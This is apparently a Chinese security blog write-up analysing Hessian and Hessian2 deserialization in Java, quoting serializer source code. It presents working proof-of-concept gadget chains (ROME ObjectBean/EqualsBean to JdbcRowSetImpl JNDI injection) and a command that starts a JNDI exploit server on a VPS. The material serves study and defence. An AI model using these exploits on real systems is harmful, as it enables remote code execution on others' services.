Java反序列化之Hessian反序列化

RPC是什么?

RPC和常见的FTP,UDP,HTTP等一样,都是一种网络协议,RPC允许程序调用另一台计算机上的程序或服务,就像调用本地函数一样,而无需程序员显式编写网络通信的细节代码。

我们所说的RPC(Remote Procedure Call Protocol,远程过程调用协议)和之前学到的RMI(Remote Method Invocation,远程方法调用)是类似的,但RPC和RMI的不同之处就在于它以标准的二进制格式来定义请求的信息 ( 请求的对象、方法、参数等 )

RPC的处理流程:

  • 客户端发起请求(调用一个方法),并按照RPC协议格式填充信息
  • 通过网络发送请求到远程服务器
  • 远程服务器接收请求后根据RPC协议解析请求的信息并进行相应的处理
  • 处理完毕后将结果按照RPC协议格式重新写入二进制文件中返回

Hessian是什么

Hessian是一种基于RPC的高性能二进制序列化远程传输协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。

Hessian在2004年发布1.0规范,一般被称为Hessian,而在后面的迭代中,在 Hassian jar 3.2.0 之后,采用了新的 2.0 版本的协议,一般称之为 Hessian 2.0。

环境配置

jdk版本:jdk8u65

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

Hessian的序列化和反序列化

在测试之前,先了解一下Hessian中序列化和反序列化的功能函数

序列化

HessianOutput和Hessian2Output都是抽象类AbstractHessianOutput的具体实现

image-20251123141453333

image-20251123141441688

来看看里面的writeObject函数

Hessian

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void writeObject(Object object)
throws IOException
{
if (object == null) {
writeNull();
return;
}

Serializer serializer;

serializer = _serializerFactory.getSerializer(object.getClass());

serializer.writeObject(object, this);
}

Hessian2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Override
public void writeObject(Object object)
throws IOException
{
if (object == null) {
writeNull();
return;
}

Serializer serializer
= findSerializerFactory().getObjectSerializer(object.getClass());

serializer.writeObject(object, this);
}

这两个函数的操作是差不太多的

跟进getObjectSerializer看看

1
2
3
4
5
6
7
8
9
10
public Serializer getObjectSerializer(Class<?> cl)
throws HessianProtocolException
{
Serializer serializer = getSerializer(cl);

if (serializer instanceof ObjectSerializer)
return ((ObjectSerializer) serializer).getObjectSerializer();
else
return serializer;
}

继续跟进getSerializer函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Serializer getSerializer(Class cl)
throws HessianProtocolException
{
Serializer serializer;

if (_cachedSerializerMap != null) {
serializer = (Serializer) _cachedSerializerMap.get(cl);

if (serializer != null) {
return serializer;
}
}

serializer = loadSerializer(cl);

if (_cachedSerializerMap == null)
_cachedSerializerMap = new ConcurrentHashMap(8);

_cachedSerializerMap.put(cl, serializer);

return serializer;
}

继续跟进loadSerializer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
protected Serializer loadSerializer(Class<?> cl)
throws HessianProtocolException
{
Serializer serializer = null;

for (int i = 0;
_factories != null && i < _factories.size();
i++) {
AbstractSerializerFactory factory;

factory = (AbstractSerializerFactory) _factories.get(i);

serializer = factory.getSerializer(cl);

if (serializer != null)
return serializer;
}

serializer = _contextFactory.getSerializer(cl.getName());

if (serializer != null)
return serializer;

ClassLoader loader = cl.getClassLoader();

if (loader == null)
loader = _systemClassLoader;

ContextSerializerFactory factory = null;

factory = ContextSerializerFactory.create(loader);

serializer = factory.getCustomSerializer(cl);

if (serializer != null) {
return serializer;
}

if (HessianRemoteObject.class.isAssignableFrom(cl)) {
return new RemoteSerializer();
}
else if (BurlapRemoteObject.class.isAssignableFrom(cl)) {
return new RemoteSerializer();
}
else if (InetAddress.class.isAssignableFrom(cl)) {
return InetAddressSerializer.create();
}
else if (JavaSerializer.getWriteReplace(cl) != null) {
Serializer baseSerializer = getDefaultSerializer(cl);

return new WriteReplaceSerializer(cl, getClassLoader(), baseSerializer);
}
else if (Map.class.isAssignableFrom(cl)) {
if (_mapSerializer == null)
_mapSerializer = new MapSerializer();

return _mapSerializer;
}
else if (Collection.class.isAssignableFrom(cl)) {
if (_collectionSerializer == null) {
_collectionSerializer = new CollectionSerializer();
}

return _collectionSerializer;
}

else if (cl.isArray()) {
return new ArraySerializer();
}

else if (Throwable.class.isAssignableFrom(cl))
return new ThrowableSerializer(getDefaultSerializer(cl));

else if (InputStream.class.isAssignableFrom(cl))
return new InputStreamSerializer();

else if (Iterator.class.isAssignableFrom(cl))
return IteratorSerializer.create();

else if (Calendar.class.isAssignableFrom(cl))
return CalendarSerializer.SER;

else if (Enumeration.class.isAssignableFrom(cl))
return EnumerationSerializer.create();

else if (Enum.class.isAssignableFrom(cl))
return new EnumSerializer(cl);

else if (Annotation.class.isAssignableFrom(cl))
return new AnnotationSerializer(cl);

return getDefaultSerializer(cl);
}

这里会根据传入的 object 的类型去选择专门的序列化器,如果不是属于已存在的接口,那就调用com.caucho.hessian.io.SerializerFactory#getDefaultSerializer方法针对自定义的类去加载默认的序列化器,我们看看这个getDefaultSerializer方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected Serializer getDefaultSerializer(Class cl)
{
if (_defaultSerializer != null)
return _defaultSerializer;

if (! Serializable.class.isAssignableFrom(cl)
&& ! _isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
}

if (_isEnableUnsafeSerializer
&& JavaSerializer.getWriteReplace(cl) == null) {
return UnsafeSerializer.create(cl);
}
else
return JavaSerializer.create(cl);
}

检查类是否是实现了序列化接口,并根据类的配置选择UnsafeSerializer作为序列化器,我们跟进这个UnsafeSerializer序列化器的writeObject方法看看

image-20251123142754008

这个就是默认序列化器的序列化核心操作了,先是检查对象是否已经被序列化,如果有就直接返回,接着调用writeObjectBegin写入对象开始标记和类名,ref参数就是这个类定义的引用编号

而hessian 和 hessian2 的不同之处就在于这里的writeObjectBegin函数,跟进writeObjectBegin函数看看

Hessian#writeObjectBegin

在Hessian中

1
2
3
4
5
6
7
public int writeObjectBegin(String type)
throws IOException
{
writeMapBegin(type);

return -2;
}

这个函数默认会返回2,会调用writeObject10函数逐个对字段进行序列化,并调用writeMapEnd函数写入结尾字符z

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected void writeObject10(Object obj, AbstractHessianOutput out)
throws IOException
{
for (int i = 0; i < _fields.length; i++) {
Field field = _fields[i];

out.writeString(field.getName());

_fieldSerializers[i].serialize(out, obj);
}

out.writeMapEnd();
}
public void writeMapEnd()
throws IOException
{
os.write('z');
}

跟进writeMapBegin()

1
2
3
4
5
6
7
public void writeMapBegin(String type)
throws IOException
{
os.write('M');
os.write('t');
printLenString(type);
}

写入字符MASCII码77作为Map类型的标记,写入字符t表示接下来会下入类型信息,最后利用printLenString写入类型字符串

例如

1
2
3
4
'M'                          // Map标记
't' // 类型标记
0x00 0x13 // 长度19 (java.util.HashMap的长度)
'j' 'a' 'v' 'a' '.' ... // 类型名称

Hessian2#writeObjectBegin

而在Hessian2中重写了writeObjectBegin函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@Override
public int writeObjectBegin(String type)
throws IOException
{
int newRef = _classRefs.size();
int ref = _classRefs.put(type, newRef, false);

if (newRef != ref) {
if (SIZE < _offset + 32)
flushBuffer();

if (ref <= OBJECT_DIRECT_MAX) {
_buffer[_offset++] = (byte) (BC_OBJECT_DIRECT + ref);
}
else {
_buffer[_offset++] = (byte) 'O';
writeInt(ref);
}

return ref;
}
else {
if (SIZE < _offset + 32)
flushBuffer();

_buffer[_offset++] = (byte) 'C';

writeString(type);

return -1;
}
}

检查类型引用编号是否存在,如果类型已存在,返回已有的引用编号ref(不等于newRef),不存在就插入并返回和newRef相等的编号,意思就是可以自定义类型的数据,如果是自定义数据的话就返回一个-1,回到writeObject中调用 writeDefinition20Hessian2Output#writeObjectBegin 方法写入自定义数据

总结一下:

  • Hessian在序列化的过程中会默认将序列化对象序列化结果处理为一个Map类型
  • Hessian2在序列化的过程中会独立处理自定义的类而不会处理为一个Map类型

其他的地方基本上就没啥区别的

反序列化

Hessian的反序列化

首先就是Hessian的反序列化HessianInput#readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
public Object readObject()
throws IOException
{
int tag = read();

switch (tag) {
case 'N':
return null;

case 'T':
return Boolean.valueOf(true);

case 'F':
return Boolean.valueOf(false);

case 'I':
return Integer.valueOf(parseInt());

case 'L':
return Long.valueOf(parseLong());

case 'D':
return Double.valueOf(parseDouble());

case 'd':
return new Date(parseLong());

case 'x':
case 'X': {
_isLastChunk = tag == 'X';
_chunkLength = (read() << 8) + read();

return parseXML();
}

case 's':
case 'S': {
_isLastChunk = tag == 'S';
_chunkLength = (read() << 8) + read();

int data;
_sbuf.setLength(0);

while ((data = parseChar()) >= 0)
_sbuf.append((char) data);

return _sbuf.toString();
}

case 'b':
case 'B': {
_isLastChunk = tag == 'B';
_chunkLength = (read() << 8) + read();

int data;
ByteArrayOutputStream bos = new ByteArrayOutputStream();

while ((data = parseByte()) >= 0)
bos.write(data);

return bos.toByteArray();
}

case 'V': {
String type = readType();
int length = readLength();

return _serializerFactory.readList(this, length, type);
}

case 'M': {
String type = readType();

return _serializerFactory.readMap(this, type);
}

case 'R': {
int ref = parseInt();

return _refs.get(ref);
}

case 'r': {
String type = readType();
String url = readString();

return resolveRemote(type, url);
}

default:
throw error("unknown code for readObject at " + codeName(tag));
}
}

由于Hessian默认会将序列化结果处理为Map,所以直接就走到case 'M'

image-20251123163341394

跟进readMap函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object readMap(AbstractHessianInput in, String type)
throws HessianProtocolException, IOException
{
Deserializer deserializer = getDeserializer(type);

if (deserializer != null)
return deserializer.readMap(in);
else if (_hashMapDeserializer != null)
return _hashMapDeserializer.readMap(in);
else {
_hashMapDeserializer = new MapDeserializer(HashMap.class);

return _hashMapDeserializer.readMap(in);
}
}

先是获取反序列化器,由于 hessian1 默认序列化为 Map,所以这里返回为 MapDeserializer,也就会到MapDeserializer#readMap。跟进getDeserializer函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public Deserializer getDeserializer(String type)
throws HessianProtocolException
{
if (type == null || type.equals(""))
return null;

Deserializer deserializer;

if (_cachedTypeDeserializerMap != null) {
synchronized (_cachedTypeDeserializerMap) {
deserializer = (Deserializer) _cachedTypeDeserializerMap.get(type);
}

if (deserializer != null)
return deserializer;
}


deserializer = (Deserializer) _staticTypeMap.get(type);
if (deserializer != null)
return deserializer;

if (type.startsWith("[")) {
Deserializer subDeserializer = getDeserializer(type.substring(1));

if (subDeserializer != null)
deserializer = new ArrayDeserializer(subDeserializer.getType());
else
deserializer = new ArrayDeserializer(Object.class);
}
else {
try {
//Class cl = Class.forName(type, false, getClassLoader());

Class cl = loadSerializedClass(type);

deserializer = getDeserializer(cl);
} catch (Exception e) {
log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " + getClassLoader() + ":\n" + e);

log.log(Level.FINER, e.toString(), e);
}
}

if (deserializer != null) {
if (_cachedTypeDeserializerMap == null)
_cachedTypeDeserializerMap = new HashMap(8);

synchronized (_cachedTypeDeserializerMap) {
_cachedTypeDeserializerMap.put(type, deserializer);
}
}

return deserializer;
}
  1. 如果类型为null,或为空字符串,则直接返回null
  2. 从本地缓存反序列化器中尝试获取,获取到就返回该反序列化器
  3. 从静态类型反序列化器中尝试获取,获取到就返回该反序列化器
  4. 检查类型的开头是否是[,也就是数组类型,如果是就尝试获取数组型反序列化器

如果都不是的话就会加载类并获取其反序列化器

image-20251123164208256

跟进load发现就是一个简单的反射获取全限定类名

image-20251123164242238

跟进deserializer = getDeserializer(cl);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Deserializer getDeserializer(Class cl)
throws HessianProtocolException
{
Deserializer deserializer;

if (_cachedDeserializerMap != null) {
deserializer = (Deserializer) _cachedDeserializerMap.get(cl);

if (deserializer != null)
return deserializer;
}

deserializer = loadDeserializer(cl);

if (_cachedDeserializerMap == null)
_cachedDeserializerMap = new ConcurrentHashMap(8);

_cachedDeserializerMap.put(cl, deserializer);

return deserializer;
}

跟进loadDeserializer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
protected Deserializer loadDeserializer(Class cl)
throws HessianProtocolException
{
Deserializer deserializer = null;

for (int i = 0;
deserializer == null && _factories != null && i < _factories.size();
i++) {
AbstractSerializerFactory factory;
factory = (AbstractSerializerFactory) _factories.get(i);

deserializer = factory.getDeserializer(cl);
}

if (deserializer != null)
return deserializer;

// XXX: need test
deserializer = _contextFactory.getDeserializer(cl.getName());

if (deserializer != null)
return deserializer;

ContextSerializerFactory factory = null;

if (cl.getClassLoader() != null)
factory = ContextSerializerFactory.create(cl.getClassLoader());
else
factory = ContextSerializerFactory.create(_systemClassLoader);

deserializer = factory.getDeserializer(cl.getName());

if (deserializer != null)
return deserializer;

deserializer = factory.getCustomDeserializer(cl);

if (deserializer != null)
return deserializer;

if (Collection.class.isAssignableFrom(cl))
deserializer = new CollectionDeserializer(cl);

else if (Map.class.isAssignableFrom(cl)) {
deserializer = new MapDeserializer(cl);
}
else if (Iterator.class.isAssignableFrom(cl)) {
deserializer = IteratorDeserializer.create();
}
else if (Annotation.class.isAssignableFrom(cl)) {
deserializer = new AnnotationDeserializer(cl);
}
else if (cl.isInterface()) {
deserializer = new ObjectDeserializer(cl);
}
else if (cl.isArray()) {
deserializer = new ArrayDeserializer(cl.getComponentType());
}
else if (Enumeration.class.isAssignableFrom(cl)) {
deserializer = EnumerationDeserializer.create();
}
else if (Enum.class.isAssignableFrom(cl))
deserializer = new EnumDeserializer(cl);

else if (Class.class.equals(cl))
deserializer = new ClassDeserializer(getClassLoader());

else
deserializer = getDefaultDeserializer(cl);

return deserializer;
}

可以加载默认的自定义类使用默认的反序列化器,但是由于 hessian1 默认序列化为 Map,所以这里返回为 MapDeserializer。

然后就会来到deserializer.readMap(in),这里是MapDeserializer#readMap

跟进MapDeserializer#readMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public Object readMap(AbstractHessianInput in)
throws IOException
{
Map map;

if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}

in.addRef(map);

while (! in.isEnd()) {
map.put(in.readObject(), in.readObject());
}

in.readEnd();

return map;
}

默认是HashMap,如果_type设置是Map,那就是HashMap,如果是SorteMap那就是TreeMap,并且这里在实例化一个map之后会调用他的put方法,这就导致了以下方法的调用

  • 对于HashMap会触发key.hashCode()key.equals(k)
  • 对于TreeMap会触发key.compareTo()

Hessian2的反序列化

来看Hessian2,其实前面的流程和Hessian是大差不差的,对于反序列化过程中获取加载器的流程也是一样的,我们跟进看到loadDeserializer,因为Hessian2是不会默认处理为Map嘛,那么就存在着自定义类的反序列化

跟进最后的deserializer = getDefaultDeserializer(cl);

1
2
3
4
5
6
7
8
9
10
11
protected Deserializer getDefaultDeserializer(Class cl)
{
if (InputStream.class.equals(cl))
return InputStreamDeserializer.DESER;

if (_isEnableUnsafeSerializer) {
return new UnsafeDeserializer(cl, _fieldDeserializerFactory);
}
else
return new JavaDeserializer(cl, _fieldDeserializerFactory);
}

会返回一个UnsafeDeserializer反序列化器,所以会调用到跟进看看UnsafeDeserializer中的readMap方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object readMap(AbstractHessianInput in)
throws IOException
{
try {
Object obj = instantiate();

return readMap(in, obj);
} catch (IOException e) {
throw e;
} catch (RuntimeException e) {
throw e;
} catch (Exception e) {
throw new IOExceptionWrapper(_type.getName() + ":" + e.getMessage(), e);
}
}

跟进instantiate方法

1
2
3
4
5
protected Object instantiate()
throws Exception
{
return _unsafe.allocateInstance(_type);
}

可以绕过标准的 Java 构造函数来创建类的实例

随后进入readMap(in, obj)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public Object readMap(AbstractHessianInput in, Object obj)
throws IOException
{
try {
int ref = in.addRef(obj);

while (! in.isEnd()) {
Object key = in.readObject();

FieldDeserializer2 deser = (FieldDeserializer2) _fieldMap.get(key);

if (deser != null)
deser.deserialize(in, obj);
else
in.readObject();
}

in.readMapEnd();

Object resolve = resolve(in, obj);

if (obj != resolve)
in.setRef(ref, resolve);

return resolve;
} catch (IOException e) {
throw e;
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}

注册对象引用,并循环读取键值对,查找key字段反序列化器并进行反序列化,读取Map标志最后并更新引用

测试代码

因为Hessian1会默认将序列化结果处理为Map,我们这里用Hessian2进行反序列化和序列化这样更方便

先简单写个实现了序列化接口的Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package SerializeChains.HessianChains;

import java.io.Serializable;

public class Person implements Serializable {
public int age;
public String name;

public String getName() {
System.out.println("调用了getName()");
return name;
}

public void setName(String name) {
System.out.println("调用了setName()");
this.name = name;
}

public int getAge() {
System.out.println("调用了getAge()");
return age;
}

public void setAge(int age) {
System.out.println("调用了setAge()");
this.age = age;
}

}

然后编写序列化和反序列化函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//Hessian2的序列化操作
public static byte[] Hessian2_serialize(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(obj);
hessian2Output.close();
return baos.toByteArray();
}
//Hessian2的反序列化操作
public static Object Hessian2_unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessianInput2 = new Hessian2Input(bais);
return hessianInput2.readObject();
}

进行序列化和反序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package SerializeChains.HessianChains;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Arrays;

public class Test {
public static void main(String[] args) throws Exception {
Person person = new Person();
person.setAge(20);
person.setName("wanth3f1ag");
//序列化操作
System.out.println("----------序列化操作----------");
byte[] bytes = Hessian2_serialize(person);
System.out.println(Arrays.toString(bytes));

//反序列化操作
System.out.println("----------反序列化操作----------");
Object unserialize_person = Hessian2_unserialize(bytes);
System.out.println(unserialize_person);

}

//Hessian2的序列化操作
public static byte[] Hessian2_serialize(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(obj);
hessian2Output.close();
return baos.toByteArray();
}
//Hessian2的反序列化操作
public static Object Hessian2_unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessianInput = new Hessian2Input(bais);
return hessianInput.readObject();
}
//Hessian的序列化操作
public static byte[] Hessian_serialize(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(baos);
hessianOutput.writeObject(obj);
hessianOutput.close();
return baos.toByteArray();
}
//Hessian的反序列化操作
public static Object Hessian_unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
HessianInput hessianInput = new HessianInput(bais);
return hessianInput.readObject();
}
}

image-20251123161236156

让ai分析一下这里的内容

image-20251123161806019

漏洞点

漏洞点其实就在于HessianInput#readObject方法,前面也分析过,Hessian会将序列化的结果处理为一个Map,所以序列化结果的第一个字节始终为M,ASCII为77

换成Hessian的序列化和反序列化操作并在readObject打上断点

image-20251123162544162

image-20251123162853824

在Hessian2发现一个很好玩的地方

在readObject打上断点后一路跟进来到com.caucho.hessian.io.SerializerFactory#getDeserializer(java.lang.String)

image-20251123170607305

可以看到,这里在获取了反序列化器之后,会创建一个HashMap作为缓存并调用put方法写入我们的类和反序列化器,那么不妨猜想,如果我们这里可以让需要反序列化的对象作为key放入HashMap中,那么就能通过HashMap.put方法触发到任意类的hashCode方法了

在Hessian中也是如此

ROME链+JdbcRowSetImpl触发hashCode

之前学过ROME链,利用ObjectBean#hashCode或者EqualsBean#hashCode能够触发到ToStringBean#toString,也知道ToStringBean#toString方法可以调用任意getter方法,如果调用JdbcRowSetImpl#getDatabaseMetaData就能进行JNDI注入

所以我们的链子是

ObjectBean最终链子1

1
2
3
4
5
Hessian2Input#readObject()->
ObjectBean#hashCode()->
ToStringBean#toString()->
JdbcRowSetImpl#getDatabaseMetaData()->
JNDI注入

ObjectBean最终POC1

在vps上启动ldap服务

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A vps地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package SerializeChains.HessianChains;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.sql.rowset.BaseRowSet;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class ROMEJdbcRowSetImplPOC {
public static void main(String[] args) throws Exception {

//反射调用setDataSourceName设置DataSourceName参数
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/exp";
Method setDataSourceName = BaseRowSet.class.getDeclaredMethod("setDataSourceName",String.class);
setDataSourceName.invoke(jdbcRowSet,url);

//触发ToStringBean#toString
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

HashMap hashMap = makeMap(objectBean,"aaa");

byte[] bytes = Hessian2_serialize(hashMap);
Hessian2_unserialize(bytes);
}
//hashmap的put实际上就是,这个具体用法我也不清楚
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
setFieldValue(map, "size", 2); //设置size为2,就代表着有两组
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); //通过此处来设置的0组和1组,我去,破案了
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(map, "table", tbl);
return map;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}

//hessian依赖的序列化
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}

//hessian依赖的反序列化
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}

函数调用栈

image-20251123173541011

这里makeMap的作用其实就类似于HashMap的put方法的重写,不过这里可以防止HashCode提前触发

EqualsBean最终链子2

在EqualsBean中也有hashCode方法

image-20251123190303087

1
2
3
4
5
Hessian2Input#readObject()->
EqualsBean#hashCode()->
ToStringBean#toString()->
JdbcRowSetImpl#getDatabaseMetaData()->
JNDI注入

EqualsBean最终POC2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package SerializeChains.HessianChains;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.sql.rowset.BaseRowSet;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class ROMEJdbcRowSetImplPoc {
public static void main(String[] args) throws Exception {

//反射调用setDataSourceName设置DataSourceName参数
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/exp";
Method setDataSourceName = BaseRowSet.class.getDeclaredMethod("setDataSourceName",String.class);
setDataSourceName.invoke(jdbcRowSet,url);

//触发ToStringBean#toString
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
//ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

//类似于HashMap的put方法,可以防止提前触发hashCode
//HashMap hashMap = makeMap(objectBean,"aaa");
HashMap hashMap = makeMap(equalsBean,"aaa");

byte[] bytes = Hessian2_serialize(hashMap);
Hessian2_unserialize(bytes);
}
//hashmap的put实际上就是,这个具体用法我也不清楚
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
setFieldValue(map, "size", 2); //设置size为2,就代表着有两组
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); //通过此处来设置的0组和1组,我去,破案了
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(map, "table", tbl);
return map;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}

//hessian依赖的序列化
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}

//hessian依赖的反序列化
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}

当然这里换成RMI也是可以的

Resin+Qname触发

之前Resin的链子也是可以的

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
